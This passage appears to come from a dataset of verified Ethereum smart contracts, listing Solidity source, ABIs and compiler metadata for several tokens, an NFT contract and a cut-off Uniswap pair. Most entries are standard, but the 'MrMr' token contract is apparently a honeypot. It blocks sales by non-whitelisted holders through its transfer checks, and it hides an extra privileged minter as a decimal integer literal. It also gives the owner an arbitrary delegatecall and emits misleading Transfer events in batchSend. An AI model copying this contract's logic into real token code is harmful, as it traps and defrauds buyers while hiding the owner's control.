wner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000009736e6920746f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e490000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://c85c46f0f54989e55afc66344d9c3a07149f1fe39e15b1b7a1f1269cd053826a |
|||
BaseToken | erc-payable-token/contracts/token/ERC1363/ERC1363BasicToken.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | // solium-disable-next-line max-len
/**
* @title ERC1363BasicToken
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 { // solium-disable-line max-len
using AddressUtils for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `ERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
// register the supported interfaces to conform to ERC1363 via ERC165
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
// solium-disable-next-line arg-overflow
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param _from address Representing the previous owner of the given token value
* @param _to address Target address that will receive the tokens
* @param _value uint256 The amount mount of tokens to be transferred
* @param _data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param _spender address The address which will spend the funds
* @param _value uint256 The amount of tokens to be spent
* @param _data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
} | 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BaseToken | eth-token-recover/contracts/TokenRecover.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | /**
* @title TokenRecover
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Allow to recover any ERC20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param _tokenAddress address The token contract address
* @param _tokens Number of tokens to be sent
* @return bool
*/
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
} | 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|||
BaseToken | contracts/BaseToken.sol | 0x7870c221615e539933d0edfe8904522d1bd7e215 | Solidity | // solium-disable-next-line max-len
contract BaseToken is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
string public builtOn = "https://vittominacori.github.io/erc20-generator";
constructor(
string _name,
string _symbol,
uint8 _decimals
)
DetailedERC20 (_name, _symbol, _decimals)
public
{
addMinter(owner);
}
} | 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"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"role","type":"string"}],"name":"RoleRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000009736e6920746f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003534e490000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://c85c46f0f54989e55afc66344d9c3a07149f1fe39e15b1b7a1f1269cd053826a |
|||
ICED | contracts/ICED.sol | 0x39bc879efe839db2850f4dc5a629a6e870f9b3b3 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: GET @ Icedawn
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ╬╬╬╬╬╬▒╠╠╠╠╠▒╠╠╠╠╠╠▒▒╠▒▒▒▒▒▒▒╠▒░░░▒▒▒▒╠▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ //
// ╬╬╬╬╬╬╠╩░░╠╬╬╠╚╚╠╠╠╠╠╠╠▒╩▒╠╠╠╠╬╠╠╠▒╩╚▒░░░░░░░░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░░░Γ"!░ //
// ╩╚╚╚╩╩╚╚░ΓΓ░╠╩▒╠▒▒╠╩╠╠╠╠╠╠╠╠╠╠╩╚φ╦░░φ░░░░░░░░░░░Γ░░Γ░░░░░░░░░"░░░░Γ"''░''' //
// φ░░░░░░, ^╙╙╙╙ΓΓ╙╙╙╙╙╙╚╙░░░░░╚╚░░░░░░░░░░░░░░░"░░░░░░░░░░░░░░░░[.. //
// ╚╚╚▒▒▒▒░░░░;. ''' '''""""""' '""!Γ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ . .. //
// φφφφ▒▒▒▒▒▒▒▒▒φφ░░░░░¡,...,,,,φ░░░φφ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'.¡;░;░░░░ //
// ▒▒╚╚╚▒▒▒▒▒▒▒▒▒╚▒▒▒▒▒▒▒░░░░░░░░░░Γ░Γ"░┐'':░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░░░░░φφ▒▒▒╬ //
// """"└└└Γ╙╙╙╙╙Γ░░░░""╙"░Γ".░░░░░░░░;;░;,,'░░░░░░░░░░░▒▒▒▒╠╠╠╬╣▒▒▒▒▒▒▒▒▒▒╣▓▓▓▓▓▓▓▓ //
// "` '. '''=φφ░░░░░░░░-.░\¡░;;░░░' φ╣╣╬╬╬╠▒▒▄▓▒▒▒╬╣╣╬╣╬╬╬╣╬▓▓▓▓▓▓▓▓╬╬╠╬▓▓▓▓▓▓▓▓▓▓ //
// φ░░░ ,;,,,░░,;\;░.░░░░░░,╓φ▒╬╬╬╬╟╬▒╟▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓█▓▓█▓▓▓╣▓██▓▓▓▓███ //
// ░░░░░φ░░░░░░░░░╚▒▒▒▒░░░φφ▒╠╬╬╚╠╬╣╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓█▓█▓█▓▓██████████▓█▓█████████ //
// ░▒░░░░╠▒░▒▒▒▒░╚╠▒╠╠╠▒▒╬╠░░░╓▒╣╣▓▓▓▓▓▓▓▓▓▓█▓▓▓▓██▓▓▓███▓██▓██▓█████▓████▓████████ //
// ▒φ▒▒▒▒φ▒▒╠╠╠╠╠╠╬╬╬╬╬╬╬╬╠▒▒▒╣╬▓▓▓▓▓▓▓▓▓▓▓███▓▓███▓█▓█████████████▓▓█████▓▓███████ //
// ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓▓▓▓▓▓▓▓▓▓▓███▓███▓▓▓█▓█▓▓███▓▓█▓█▓███▓██▓█████████████ //
// ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╣▓▓▓▓▓▓▓▓▓▓█████▓▓██▓█▓▓█▓▓▓▓▓█▓███▓█████▓▓██▓▓██████████ //
// ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╣╬╣╬╬╣▓▓▓▓▓▓▓▓▓▓▓▓█▓███▓██▓▓▓▓█▓█▓▓██▓█▓▓▓█████▓██▓███████▓████ //
// ╬╬╬╣╬╬╬╬╬╬╬╬╬╬╬╬╬╬╣╣▓▓▓▓▓▓▓▓▓▓██▓▓▓█████▓███▓▓▓▓▓▓▓▓████▓▓▓█████▓▓██████████████ //
// ╬╣╬╬╣╬╬╣╬╬╬╣╣╣╬╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓██▓██████▓██▓█▓▓▓▓█▓▓█████▓▓▓████▓▓▓▓██▓██████████ //
// ╬╬╬╣▓╣▓▓╣╣╣╬╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓█▓█████████▓█▓█▓▓████████▓███▓█▓▓▓█████████████ //
// ╬╣▓╬╣▓▓╣╬╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓██████████▓▓▓▓████▓██████▓█▓▓▓████████████ //
// ╣▓▓▓▓╬╬╣▓▓▓▓▓▓▓╬╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓▓▓████▓▓██████▓▓▓███▓█▓█▓▓▓▓▓▓▓▓▓▓▓█████████ //
// ▓╬╬╬╣▓▓▓▓▓╬╬╬╣╬╣╣▓▓▓▓▓▓▓▓▓█▓▓▓▓▓▓▓████▓▓███████▓▓▓█▓▓█▓█▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓███████ //
// ╬╣▓▓▓▓▓▓╬╬╣▓▓╬╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█████▓███████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓███ //
// ▓▓▓▓▓▓╬▓╣▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓███▓▓▓▓╬▓█▓▓██████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███ //
// ▓▓▓╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓████████▓▓▓▓▓██████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓█ //
// ▓▓▓▓▓▓▓▓▓▓██▓▓█▓▓▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓▓▓████████▓▓▓▓▓█████▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███▓▓█ //
// ▓▓▓▓▓▓▓▓▓███▓███████▓█▓▓▓▓▓██████▓▓▓███▓▓████████▓▓▓▓███████▓█████▓▓█▓▓▓████████ //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////
contract ICED is ERC721Creator {
constructor() ERC721Creator("GET @ Icedawn", "ICED") {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
MrMr | MrMr.sol | 0xf391a3caa7ec203cab79ec536186949d8313af3c | Solidity | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract MrMr {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"_mints","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"token","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"init","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTradeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000000000000000000000000000000000000000000006426973776170000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034253570000000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://42f80436bac6f71fbe60048d5184939984b331101b74ffc73526430fcec36943 |
||
UniswapV2Pair | /contracts/UniswapV2Pair.sol | 0x173cf7c7356f71c3e75ce02f9cc777fb762b5080 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import './interfaces/IUniswapV2Pair.sol';
import './UniswapV2ERC20.sol';
import './libraries/Math.sol';
import './libraries/UQ112x112.sol';
import './interfaces/IERC20.sol';
import './interfaces/IUniswapV2Factory.sol';
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using UQ112x112 for uint224;
// string public name = 'PolkaBridgeAMM: Pair';
// uint256 public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override token0;
address public override token1;
// address ownerAddress;
address treasury;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
